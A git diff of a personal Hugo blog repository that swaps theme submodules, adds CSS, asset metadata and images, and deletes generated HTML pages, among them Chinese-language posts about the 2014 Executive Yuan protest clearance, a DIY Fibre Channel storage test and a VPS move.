.navbar-nav{margin-top:53px;height:100%;z-index:2;position:relative;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.burger-menu .navbar-collapse .navbar-nav .nav-item{margin:0}.burger-menu.menu-on-left .navbar-collapse{right:auto;left:0;-webkit-transform:translate3d(-300px,0,0);-moz-transform:translate3d(-300px,0,0);-o-transform:translate3d(-300px,0,0);-ms-transform:translate3d(-300px,0,0);transform:translate3d(-300px,0,0)}.burger-menu [class*=navbar-expand-] .navbar-nav .dropdown-menu{position:static;float:none}.burger-menu [class*=navbar-expand-] .navbar-toggler{display:inline-block}.burger-menu .section-navbars .navbar-collapse{display:none!important}.nav-open .burger-menu.menu-on-left .navbar .navbar-translate{-webkit-transform:translate3d(300px,0,0);-moz-transform:translate3d(300px,0,0);-o-transform:translate3d(300px,0,0);-ms-transform:translate3d(300px,0,0);transform:translate3d(300px,0,0)}.nav-open .burger-menu .navbar .navbar-translate{-webkit-transform:translate3d(-300px,0,0);-moz-transform:translate3d(-300px,0,0);-o-transform:translate3d(-300px,0,0);-ms-transform:translate3d(-300px,0,0);transform:translate3d(-300px,0,0)}.nav-open .burger-menu.menu-on-left .navbar-collapse{-webkit-transform:translate3d(0px,0,0);-moz-transform:translate3d(0px,0,0);-o-transform:translate3d(0px,0,0);-ms-transform:translate3d(0px,0,0);transform:translate3d(0px,0,0)}.nav-open .burger-menu.menu-on-left #bodyClick{right:auto;left:300px}.burger-menu.menu-on-left .navbar-brand{float:right;margin-right:0;margin-left:1rem}.navbar-nav .nav-link.profile-photo{padding:0;margin:7px .7rem}.navbar-nav .nav-link.btn:not(.btn-sm){margin:0}.navbar-nav .nav-item:not(:last-child){margin-right:5px}.section-nucleo-icons .icons-container{margin:0 0 0 auto}.dropdown-menu .dropdown-item{color:inherit}.footer .copyright{float:right}}@media screen and (min-width:768px){.image-container.image-right{top:80px;margin-left:-100px;margin-bottom:130px}.image-container.image-left{margin-right:-100px}}@media screen and (max-width:768px){.image-container.image-left{margin-bottom:220px}.image-container.image-left p.blockquote{margin:0 auto;position:relative;right:0}.nav-tabs{display:inline-block;width:100%;padding-left:100px;padding-right:100px;text-align:center}.nav-tabs .nav-item>.nav-link{margin-bottom:5px}.landing-page .section-story-overview .image-container:nth-child(2){margin-left:0;margin-bottom:30px}}@media screen and (max-width:576px){.navbar[class*=navbar-expand-] .container{margin-left:0;margin-right:0}.footer .copyright{text-align:center}.section-nucleo-icons .icons-container i{font-size:30px}.section-nucleo-icons .icons-container i:nth-child(6){font-size:48px}.page-header .container h6.category-absolute{width:90%}}@media screen and (min-width:991px) and (max-width:1200px){.section-images .hero-images-container-1{right:9%;max-width:370px}.section-images .hero-images-container-2{right:2%;max-width:216px}}@media screen and (max-width:768px){.section-images{height:300px;max-height:300px}.section-images .hero-images-container{max-width:380px}.section-images .hero-images-container-1{right:7%;top:87%;max-width:210px}.section-images .hero-images-container-2{right:1%;max-width:133px;top:99%}}@media screen and (max-width:517px){.alert .alert-icon{margin-top:10px}}@media screen and (min-width:1200px){.section-images .hero-images-container-1{top:51%;right:21%}.section-images .hero-images-container-2{top:66%;right:14%}}@media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:portrait){.section-images .hero-images-container,.section-images .hero-images-container-1,.section-images .hero-images-container-2{margin-top:-15vh;margin-left:80px}.section-images .hero-images-container{max-width:300px}.section-images .hero-images-container-1{right:28%;top:40%}.section-images .hero-images-container-2{right:21%;top:55%}.index-page .category-absolute{top:90vh}}@media screen and (max-width:580px){.alert button.close{position:absolute;right:11px;top:50%;transform:translateY(-50%)}} \ No newline at end of file diff --git a/resources/_gen/assets/scss/sass/now-ui-kit.scss_48b060fe05b0a273d182ef83c0605941.json b/resources/_gen/assets/scss/sass/now-ui-kit.scss_48b060fe05b0a273d182ef83c0605941.json new file mode 100644 index 00000000..4ed47980 --- /dev/null +++ b/resources/_gen/assets/scss/sass/now-ui-kit.scss_48b060fe05b0a273d182ef83c0605941.json @@ -0,0 +1 @@ +{"Target":"sass/now-ui-kit.min.a29c3c7ed6d8b2c763320f5b2b3c5b477afc5ce3a8965442457beac985ad255e.css","MediaType":"text/css","Data":{"Integrity":"sha256-opw8ftbYssdjMg9bKzxbR3r8XOOollRCRXvqyYWtJV4="}} \ No newline at end of file diff --git a/static/images/author.jpg b/static/images/author.jpg new file mode 100644 index 00000000..dc4fd38d Binary files /dev/null and b/static/images/author.jpg differ diff --git a/static/images/banner-img.png b/static/images/banner-img.png new file mode 100644 index 00000000..3470d457 Binary files /dev/null and b/static/images/banner-img.png differ diff --git a/static/images/contact.jpg b/static/images/contact.jpg new file mode 100644 index 00000000..243255bf Binary files /dev/null and b/static/images/contact.jpg differ diff --git a/static/images/featured-post/post-1.jpg b/static/images/featured-post/post-1.jpg new file mode 100644 index 00000000..a68eb959 Binary files /dev/null and b/static/images/featured-post/post-1.jpg differ diff --git a/static/images/featured-post/post-2.jpg b/static/images/featured-post/post-2.jpg new file mode 100644 index 00000000..81326def Binary files /dev/null and b/static/images/featured-post/post-2.jpg differ diff --git a/static/images/featured-post/post-3.jpg b/static/images/featured-post/post-3.jpg new file mode 100644 index 00000000..b1525858 Binary files /dev/null and b/static/images/featured-post/post-3.jpg differ diff --git a/static/images/featured-post/post-4.jpg b/static/images/featured-post/post-4.jpg new file mode 100644 index 00000000..06370df8 Binary files /dev/null and b/static/images/featured-post/post-4.jpg differ diff --git a/static/images/featured-post/post-5.jpg b/static/images/featured-post/post-5.jpg new file mode 100644 index 00000000..12adafed Binary files /dev/null and b/static/images/featured-post/post-5.jpg differ diff --git a/static/images/logo.png b/static/images/logo.png new file mode 100644 index 00000000..9f3e79d1 Binary files /dev/null and b/static/images/logo.png differ diff --git a/static/images/masonary-post/post-1.jpg b/static/images/masonary-post/post-1.jpg new file mode 100644 index 00000000..542c1d9d Binary files /dev/null and b/static/images/masonary-post/post-1.jpg differ diff --git a/static/images/masonary-post/post-10.jpg b/static/images/masonary-post/post-10.jpg new file mode 100644 index 00000000..e7bc99ef Binary files /dev/null and b/static/images/masonary-post/post-10.jpg differ diff --git a/static/images/masonary-post/post-11.jpg b/static/images/masonary-post/post-11.jpg new file mode 100644 index 00000000..0afb1dd1 Binary files /dev/null and b/static/images/masonary-post/post-11.jpg differ diff --git a/static/images/masonary-post/post-12.jpg b/static/images/masonary-post/post-12.jpg new file mode 100644 index 00000000..93ad6415 Binary files /dev/null and b/static/images/masonary-post/post-12.jpg differ diff --git a/static/images/masonary-post/post-2.jpg b/static/images/masonary-post/post-2.jpg new file mode 100644 index 00000000..db145c1b Binary files /dev/null and b/static/images/masonary-post/post-2.jpg differ diff --git a/static/images/masonary-post/post-3.jpg b/static/images/masonary-post/post-3.jpg new file mode 100644 index 00000000..bbc9476f Binary files /dev/null and b/static/images/masonary-post/post-3.jpg differ diff --git a/static/images/masonary-post/post-4.jpg b/static/images/masonary-post/post-4.jpg new file mode 100644 index 00000000..87f00977 Binary files /dev/null and b/static/images/masonary-post/post-4.jpg differ diff --git a/static/images/masonary-post/post-5.jpg b/static/images/masonary-post/post-5.jpg new file mode 100644 index 00000000..a54d88bd Binary files /dev/null and b/static/images/masonary-post/post-5.jpg differ diff --git a/static/images/masonary-post/post-6.jpg b/static/images/masonary-post/post-6.jpg new file mode 100644 index 00000000..0f120f38 Binary files /dev/null and b/static/images/masonary-post/post-6.jpg differ diff --git a/static/images/masonary-post/post-7.jpg b/static/images/masonary-post/post-7.jpg new file mode 100644 index 00000000..62bc09e3 Binary files /dev/null and b/static/images/masonary-post/post-7.jpg differ diff --git a/static/images/masonary-post/post-8.jpg b/static/images/masonary-post/post-8.jpg new file mode 100644 index 00000000..71e27dfc Binary files /dev/null and b/static/images/masonary-post/post-8.jpg differ diff --git a/static/images/masonary-post/post-9.jpg b/static/images/masonary-post/post-9.jpg new file mode 100644 index 00000000..c9204653 Binary files /dev/null and b/static/images/masonary-post/post-9.jpg differ diff --git a/static/images/post-img.jpg b/static/images/post-img.jpg new file mode 100644 index 00000000..6e206c91 Binary files /dev/null and b/static/images/post-img.jpg differ diff --git a/static/images/post-single.jpg b/static/images/post-single.jpg new file mode 100644 index 00000000..c3343427 Binary files /dev/null and b/static/images/post-single.jpg differ diff --git a/themes/AllinOne b/themes/AllinOne deleted file mode 160000 index 1fcd762c..00000000 --- a/themes/AllinOne +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 1fcd762c21279463cf3ff736b067ef9ed6e03cf0 diff --git a/themes/archetypes/audio.md b/themes/archetypes/audio.md deleted file mode 100644 index 487a817a..00000000 --- a/themes/archetypes/audio.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: "{{ replace .Name "-" " " | title }}" -date: {{ .Date }} -draft: true - -categories: [] -tags: [] -author: "" - -# Set your audio url for -spotify: "" # (Spotify URI) spotify:track:43mGIUqxFoDQI4YiqbGmqd -soundcloud: "" # https://soundcloud.com/lightbooks/alchemist-08-new-world-order-snip -tunein: "" # t117894382 -mixcloud: "" # scienceforthepeople/445-ai-ant-intelligence ---- diff --git a/themes/archetypes/default.md b/themes/archetypes/default.md deleted file mode 100644 index dfcd7025..00000000 --- a/themes/archetypes/default.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: "{{ replace .Name "-" " " | title }}" -date: {{ .Date }} -draft: true - -noSummary: false -featuredImage: "https://h.cowbay.org/images/post-default-11.jpg" -categories: [] -tags: [] -author: "Eric Chang" ---- - -SOME Text here - -Breaks here - -Contents continues... - diff --git a/themes/archetypes/gallery.md b/themes/archetypes/gallery.md deleted file mode 100644 index 5e863a5c..00000000 --- a/themes/archetypes/gallery.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: "{{ replace .Name "-" " " | title }}" -date: {{ .Date }} -draft: true - -imageSlider: true #set to false if you don't want to use the imageSlider but a featuredImage - -categories: [] -tags: [] -author: "" ---- - -gallery: [ - "https://example.org/images/gallery-image1.jpg", - "https://example.org/images/gallery-image2.jpg", - "https://example.org/images/gallery-image3.jpg" -] - diff --git a/themes/archetypes/link.md b/themes/archetypes/link.md deleted file mode 100644 index 87ba3aa0..00000000 --- a/themes/archetypes/link.md +++ /dev/null @@ -1,11 +0,0 @@ ---- -title: "{{ replace .Name "-" " " | title }}" -date: {{ .Date }} -draft: true - -categories: [] -tags: [] - -# Set your external url -link: "https://github.com/Lednerb/bilberry-hugo-theme" ---- diff --git a/themes/archetypes/page.md b/themes/archetypes/page.md deleted file mode 100644 index 68015447..00000000 --- a/themes/archetypes/page.md +++ /dev/null @@ -1,11 +0,0 @@ ---- -title: "{{ replace .Name "-" " " | title }}" -date: {{ .Date }} -draft: true -excludeFromTopNav: false - -# set the link if you want to redirect the user. -link: "" -# set the html target parameter if you want to change default behavior -target: "_blank" ---- diff --git a/themes/archetypes/video.md b/themes/archetypes/video.md deleted file mode 100644 index 696fe184..00000000 --- a/themes/archetypes/video.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: "{{ replace .Name "-" " " | title }}" -date: {{ .Date }} -draft: true - -categories: [] -author: "" - -# Set your video id for -youtube: "" # https://www.youtube.com/watch?v=M7IjJiZUutk -> "M7IjJiZUutk" -vimeo: "" # https://vimeo.com/239830182 -> "239830182" ---- diff --git a/themes/binario b/themes/binario new file mode 160000 index 00000000..77b9fc1e --- /dev/null +++ b/themes/binario @@ -0,0 +1 @@ +Subproject commit 77b9fc1ec7f62d4e8b7f7f71ddb0ad0a7500b833 diff --git a/themes/content/gallery/my-trip-to-scotland/scotland1.jpg b/themes/content/gallery/my-trip-to-scotland/scotland1.jpg deleted file mode 100644 index bcde7ead..00000000 Binary files a/themes/content/gallery/my-trip-to-scotland/scotland1.jpg and /dev/null differ diff --git a/themes/content/gallery/my-trip-to-scotland/scotland2.jpg b/themes/content/gallery/my-trip-to-scotland/scotland2.jpg deleted file mode 100644 index beff6515..00000000 Binary files a/themes/content/gallery/my-trip-to-scotland/scotland2.jpg and /dev/null differ diff --git a/themes/content/gallery/my-trip-to-scotland/scotland3.jpg b/themes/content/gallery/my-trip-to-scotland/scotland3.jpg deleted file mode 100644 index 7624cd67..00000000 Binary files a/themes/content/gallery/my-trip-to-scotland/scotland3.jpg and /dev/null differ diff --git a/themes/content/gallery/my-trip-to-scotland/scotland4.jpg b/themes/content/gallery/my-trip-to-scotland/scotland4.jpg deleted file mode 100644 index b876d18c..00000000 Binary files a/themes/content/gallery/my-trip-to-scotland/scotland4.jpg and /dev/null differ diff --git a/themes/content/gallery/my-trip-to-scotland/scotland5.jpg b/themes/content/gallery/my-trip-to-scotland/scotland5.jpg deleted file mode 100644 index 24f316e8..00000000 Binary files a/themes/content/gallery/my-trip-to-scotland/scotland5.jpg and /dev/null differ diff --git a/themes/dream b/themes/dream new file mode 160000 index 00000000..29cfa530 --- /dev/null +++ b/themes/dream @@ -0,0 +1 @@ +Subproject commit 29cfa530d6c5e230b1a076184ae41c8c47fd00fe diff --git a/themes/nederburg b/themes/nederburg new file mode 160000 index 00000000..d99760ba --- /dev/null +++ b/themes/nederburg @@ -0,0 +1 @@ +Subproject commit d99760bac630af13aaba1f3e66107328c2fa7991 diff --git a/themes/public/404.html b/themes/public/404.html deleted file mode 100644 index f391b3fd..00000000 --- a/themes/public/404.html +++ /dev/null @@ -1,302 +0,0 @@ - - - - - - - - - - 404 Page not found | MC部落 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    MC部落

    - - 這是MC的HUGO部落格,採用bilberry theme - -
    - - - - -
    - - -
    -
    -
    - - -
    - - -
    -
    - - - - -
    -
    -

    WOAH BUDDY!

    -

    -

    This is definitly not the page you're looking for...

    -

    An Error 404 occured. That means the page is not available.

    -

    Please select a category at the bottom or change over to the HOMEPAGE.

    -
    -
    -
    -
    - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/1/index.html b/themes/public/article/1/index.html deleted file mode 100644 index a1b0b08f..00000000 --- a/themes/public/article/1/index.html +++ /dev/null @@ -1,393 +0,0 @@ - - - - - - - - - - Name of the work 1 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    Name of the work 1

    -
    - - - 2016-11-05 - - - - - - - - -
    - - -

    Section1

    - -

    -Section2

    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/2014-3-24-e6-89-8b-e7-84-a1-e5-af-b8-e9-90-b5-e7-9a-84-e6-b0-91-e7-9c-be-e8-a2-ab-e8-ad-a6-e6-96-b9-e5-bc-b7-e5-8a-9b-e9-a9-85-e8-b6-95-e5-82-99-e4-bb-bd/index.html b/themes/public/article/2014-3-24-e6-89-8b-e7-84-a1-e5-af-b8-e9-90-b5-e7-9a-84-e6-b0-91-e7-9c-be-e8-a2-ab-e8-ad-a6-e6-96-b9-e5-bc-b7-e5-8a-9b-e9-a9-85-e8-b6-95-e5-82-99-e4-bb-bd/index.html deleted file mode 100644 index 8dbdc3e4..00000000 --- a/themes/public/article/2014-3-24-e6-89-8b-e7-84-a1-e5-af-b8-e9-90-b5-e7-9a-84-e6-b0-91-e7-9c-be-e8-a2-ab-e8-ad-a6-e6-96-b9-e5-bc-b7-e5-8a-9b-e9-a9-85-e8-b6-95-e5-82-99-e4-bb-bd/index.html +++ /dev/null @@ -1,467 +0,0 @@ - - - - - - - - - - 2014.3.24-手無寸鐵的民眾-被警方強力驅趕-備份 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    2014.3.24-手無寸鐵的民眾-被警方強力驅趕-備份

    -
    - - - 2014-03-24 - - - - - - - - - 未分類 - - - - - -
    - - -

    在外頭鎮暴都還沒派來之前,裡頭的警察就先動作打人了

    - -

    [video width=“400” height=“224” mp4=“http://www.cowbay.org/wp-content/uploads/2014/03/在外頭鎮暴都還沒派來之前,裡頭的警察就先動作打人了-YouTube-360p.mp4"][/video]

    - -

    中山南路與忠孝東路交岔口的行政院,院內已經開始將水柱噴向民眾了,現場傳出一股刺鼻氣味,民眾不斷驚恐尖叫

    - -

    [video width=“1280” height=“720” mp4=“http://www.cowbay.org/wp-content/uploads/2014/03/中山南路與忠孝東路交岔口的行政院,院內已經開始將水柱噴向民眾了,現場傳出一股刺鼻氣味,民眾不斷驚恐尖叫-YouTube-720p.mp4"][/video]

    - -

    千警清空政院後門 52學生受傷

    - -

    [video width=“640” height=“360” mp4=“http://www.cowbay.org/wp-content/uploads/2014/03/千警清空政院後門 52學生受傷-YouTube-360p.mp4"][/video] [video width=“1280” height=“720” mp4=“http://www.cowbay.org/wp-content/uploads/2014/03/20140324-行政院台灣警察打人,非常暴力-YouTube-720p1.mp4"][/video]

    - -

    警察驅趕媒體

    - -

    [video width=“1280” height=“718” mp4=“http://www.cowbay.org/wp-content/uploads/2014/03/2014-03-24-警察驅趕媒體-YouTube-720p.mp4"][/video] [video width=“568” height=“320” mp4=“http://www.cowbay.org/wp-content/uploads/2014/03/警察持續噴辣椒水驅離-YouTube-360p.mp4"][/video]

    - -

    警察持警盾惡意狂歐靜坐無攻擊動作學生

    - -

    [video width=“1280” height=“720” mp4=“http://www.cowbay.org/wp-content/uploads/2014/03/警察持警盾惡意狂歐靜坐無攻擊動作學生-YouTube-720p.mp4"][/video]

    - -

    警察在門口圍起人牆不讓媒體拍攝,行政院內外大喊讓媒體進去、媒體監督

    - -

    [video width=“568” height=“320” mp4=“http://www.cowbay.org/wp-content/uploads/2014/03/警察在門口圍起人牆不讓媒體拍攝,行政院內外大喊讓媒體進去、媒體監督。-YouTube-360p.mp4"][/video]

    - -

    這就是馬英九對學生訴求的回答

    - -

    [video width=“400” height=“300” mp4=“http://www.cowbay.org/wp-content/uploads/2014/03/這就是馬英九對學生訴求的回答-YouTube-360p.mp4"][/video]

    - -

    我多麼希望這不是真的

    - -

    [video width=“1280” height=“720” mp4=“http://www.cowbay.org/wp-content/uploads/2014/03/我多麼希望這不是真的-YouTube-720p.mp4"][/video]

    - -

    拍到警察故意用盾牌打了從2_01開始

    - -

    [video width=“480” height=“360” mp4=“http://www.cowbay.org/wp-content/uploads/2014/03/拍到警察故意用盾牌打了從2_01開始-YouTube-360p.mp4"][/video]

    - -

    行政院介於後門與側門的民眾進入最後的驅離。鎮暴警察先是衝撞,接著再拉出民眾。雙方在拉扯過程中,開始零星對話,雙方都很無奈

    - -

    [video width=“1280” height=“720” mp4=“http://www.cowbay.org/wp-content/uploads/2014/03/行政院介於後門與側門的民眾進入最後的驅離。鎮暴警察先是衝撞,接著再拉出民眾。雙方在拉扯過程中,開始零星對話,雙方都很無奈。-YouTube-720p.mp4"][/video]

    - -

    行政院側門部分聲援民眾撤出,一路高喊「馬英九下台、江宜樺下台、退回服貿」往立法院走,他們決定要回去守護立法院。但正門部分仍有聲援民眾與警方拉扯。

    - -

    [video width=“568” height=“320” mp4=“http://www.cowbay.org/wp-content/uploads/2014/03/行政院側門部分聲援民眾撤出,一路高喊「馬英九下台、江宜樺下台、退回服貿」往立法院走,他們決定要回去守護立法院。但正門部分仍有聲援民眾與警方拉扯。-YouTube-360p.mp4"][/video]

    - -

    行政院驅離現場紀錄

    - -

    [video width=“480” height=“360” mp4=“http://www.cowbay.org/wp-content/uploads/2014/03/行政院驅離現場紀錄-YouTube-360p.mp4"][/video]

    - -

    2014.3.24-手無寸鐵的民眾-被警方強力驅趕-備份

    - -

    [video width=“480” height=“360” mp4=“http://www.cowbay.org/wp-content/uploads/2014/03/▶-2014.3.24-手無寸鐵的民眾-被警方強力驅趕-備份-YouTube-360p.mp4"][/video]

    - -

    林森北路與北平東路口有警備車駛入,警察強行前進

    - -

    [video width=“568” height=“320” mp4=“http://www.cowbay.org/wp-content/uploads/2014/03/林森北路與北平東路口有警備車駛入,警察強行前進。-YouTube-360p.mp4"][/video]

    - -

    流血的真相

    - -

    [video width=“202” height=“360” mp4=“http://www.cowbay.org/wp-content/uploads/2014/03/流血的真相-YouTube-360p.mp4"][/video]

    - -

    20140324-行政院台灣警察打人,非常暴力

    - -

    [video width=“1280” height=“720” mp4=“http://www.cowbay.org/wp-content/uploads/2014/03/20140324-行政院台灣警察打人,非常暴力-YouTube-720p.mp4"][/video]

    - -

    【行政院現場】稍早後門第一波清場畫面

    - -

    [video width=“320” height=“180” mp4=“http://www.cowbay.org/wp-content/uploads/2014/03/【行政院現場】稍早後門第一波清場畫面-YouTube-360p.mp4"][/video]

    - -

    警察以盾打手無寸鐵民眾!!!(高調)

    - -

    [video width=“598” height=“360” mp4=“http://www.cowbay.org/wp-content/uploads/2014/03/Anti-riot-police-HIT-the-protest-people-警察以盾打手無寸鐵民眾!!!(高調)-YouTube-360p.mp4"][/video]

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/321123/index.html b/themes/public/article/321123/index.html deleted file mode 100644 index e4cf46e0..00000000 --- a/themes/public/article/321123/index.html +++ /dev/null @@ -1,407 +0,0 @@ - - - - - - - - - - [測試]同步多個Wordpress | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [測試]同步多個Wordpress

    -
    - - - 2015-01-10 - - - - - - - - - 未分類 - - - - - -
    - - -

    在GCE上搞了一個測試用的 Wordpress

    - -

    想說來玩玩看多個WP同步

    - -

    下載了 WP2WP 的plugin ,設定很簡單

    - -

    底下試試看能不能同步圖片等等

    - -

    瑤瑤

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/733/index.html b/themes/public/article/733/index.html deleted file mode 100644 index 02e3e37d..00000000 --- a/themes/public/article/733/index.html +++ /dev/null @@ -1,482 +0,0 @@ - - - - - - - - - - [筆記] DIY FC Storage | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] DIY FC Storage

    -
    - - - 2014-03-31 - - - - - - - - - 未分類 - - - - - -
    - - -

    因為工作上的需求,最近在測試VDI的環境,雖然我本來已經有DELL的MD系列Storage -但是走的是iscsi的架構,原本只有 1G的頻寬, -考慮到VDI在某些特定時段會發生大量的流量吞吐的情形,而且SI對於在現有環境下 -實際測試出來的數據不滿意,覺得不是很適合拿來建置VDI的環境。 -當然啦,廠商想要賺硬體的錢,這種想法我可以接受 -不過總是要知道如果改走8G甚至16G的fiber channel storage -和升級成10G的ISCSI 效能會差多少 -可是廠商表示要借到整組走光纖的Server + Switch + Storage 可能有困難 -而且基本上我手邊的機器也沒辦法停機下來裝HBA卡,畢竟只是為了測試而已 -再加上不好光明正大的跟老闆要個五萬十萬的預算就為了看看跑出來的效果如何, -老闆大概只會回我「共體時艱」…

    - -

    那借又借不到,老闆又不給預算,那怎麼辦呢? -想來想去,乾脆來土炮一組好了! -機房內有一些零組件,還有一台退役的R410,要搞起來應該不算太困難吧.

    - -

    底下簡單介紹這次測試用到的配備,其實光算硬體的價錢,真的不高, -畢竟都是一些散置在機房的備品,真正的額外支出很少

    - -

    1.DELL 4G HBA 卡 -DELL QLE2460 4G HBA Adapter x 2 / 300 RMB以內 -淘寶購買,一張一百多塊RMB -這是最具風險的部分,因為要從淘寶買過來,不敢保證東西到底會不會有問題 -不過因為便宜,還是跟他賭賭看,8G的HBA售價幾乎是10倍以上,所以不考慮 -請大陸的同事買了之後直送台灣,很快就收到了

    - -

    2.5.25轉 2.5 x4 / 1500 台幣 -這次我計畫要測試4G的FC實際上到底能夠跑到多少速度, -如果用2.5”傳統硬碟,擔心硬碟速度會跟不上, -所以找了退役的四顆M4 64G SSD作為儲存空間 -因為一般PC不會有這麼多的SATA電源可以用,所以找了一個這種設備 -http://www.icydock.com.tw/goods.php?id=97 -http://www.pcstore.com.tw/megabid/M13937041.htm -把機殼上的一個5.25空間轉成4 x 2.5, -本來這樣子做會擔心的就是硬碟溫度,剛好我這次用SSD來測試,不擔心溫度的問題 -而且這個東西只需要一個大4pin電源就可以了。 -3.光纖線 / 300 台幣 -其實我一開始沒想到光纖線居然這麼貴,短短五米都開價一千多.. -後來直接找協力廠商幫忙搞一條LC-LC的線來, -算成本價 300塊 (我本來想請他喝杯飲料就算了 XD  )

    - -

    4. DELL H700 Raid Controller -拍賣購買,含電池、線材 5000左右

    - -

    5.其他硬體配備 -CPU : i7 型號忘了 一點點重要,因為有大量IO,所以會吃CPU運算, -不過大概也就是i3等級可以輕鬆應付 -M/B : ASUS P8Z68 Deluxe 主機板部分滿重要的,因為HBA & Raid 都走PCI-E -而Z68本身沒有內建顯卡,所以顯示卡又吃掉一個PCI-E 還好這張版子有 -四個PCI-E 足夠使用(除了HBA/RAID/VGA,我還多加了一張 Intel 網卡, -其實沒啥必要,這張主機板本身就內建雙網卡,其中一個也是Intel晶片) -RAM: Kingston 4Gx4 不是很重要,當作STORAGE用,RAM的用量不多 -PSU: 隨便 -CASE:隨便 -硬碟: WD Sata 160G 灌系統用,不重要 -OS: OSNexus QuantaStor 這東西滿有趣的,可以用來管NFS/SMB/ISCSI/FC, -有興趣可以下載來玩玩看,免費版可以用 6T的空間,綽綽有餘。

    - -

    花費不到 5000 台幣 -其他配備就算都買新的,我想應該也是一萬以內可以搞定 -主要就是注意PCI-E的數量要夠就好 -SSD如果用128G的下去玩,四顆 大概也是一萬 -不過因為我有多的M4 所以就沒有另外買了

    - -

    組裝過程就略過了 -除了買來的HBA沒有短檔版,要上R410時,必須拆檔版,而且不太穩之外,沒什麼大問題 -在R410上裝好VMWARE ESXI5 會自動抓到這張HBA卡,不需要管驅動,在PC上也是, -安裝好QuantaStor,就可以看到HBA卡了

    - -

    設定步驟也略過….

    - -

    硬體、作業系統、VM都搞定之後 -在ESXI上起一台Win8,然後跑Crystal Disk Mark 測試看看 -HBA跑 2G 速度時,CDM測試出來的數據大概是 170170 MB -HBA跑 4G 速度時,CDM測試出來的數據大概是 300300 MB

    - -

    fc-4G-300MB -距離理論數據(2G: 250MB/ 4G: 500MB) 都還有一段距離,其實這也是讓我一直百思不解的地方 -所以想上來問問看,是不是在家用PC上,PCI-E的頻寬其實是「共用」的, -導致從RAID丟資料到HBA,受限於頻寬,才達不到理論數據? -因為在我印象中,光纖的儲存設備似乎不像ISCSI這種走ETHERNET的協定,會有衰減的問 -題吧? -或者是有人用過FC SAN的,有沒有數據可以參考看看?

    - -

    找時間我再來把SSD裝去R410,然後改從R410提供空間給PC -看看這樣會不會比較快..

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/blog-e5-86-8d-e6-ac-a1-e6-90-ac-e5-ae-b6-ef-bc-81/index.html b/themes/public/article/blog-e5-86-8d-e6-ac-a1-e6-90-ac-e5-ae-b6-ef-bc-81/index.html deleted file mode 100644 index 6255a9f1..00000000 --- a/themes/public/article/blog-e5-86-8d-e6-ac-a1-e6-90-ac-e5-ae-b6-ef-bc-81/index.html +++ /dev/null @@ -1,409 +0,0 @@ - - - - - - - - - - [BLOG] 再次搬家! | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [BLOG] 再次搬家!

    -
    - - - 2013-10-06 - - - - - - - - - 未分類 - - - - - -
    - - -

    之前用的123systems 雖然一年只要30美金,就有1core / 2G RAM/20G H.D.D的規格可以用,

    - -

    但是速度越來越慢,只有跑個wordpress,卻常常發生網頁開不起來,連SSH登入都近乎停擺的情況。

    - -

    剛好時間也快到了,就順勢換成另一個VPS空間 https://inceptionhosting.com/

    - -

    月租費 5.35歐元,換算大概6塊多7塊美金左右,規格同樣是 1 core/2G RAM,硬碟增加到50G。

    - -

    而且目前看起來,除了yum在安裝軟體的時候,速度比較慢,還有下載檔案速度大概只有六七百 K左右,

    - -

    其他的效能都還算不錯,開網頁、登入發表文章等等都很快速,應該就此定居下來了吧。

    - -

    另外,這次順便把很吃資源的apache給換成了 nginx ,對於網站的效能應該也多少有點幫助!

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
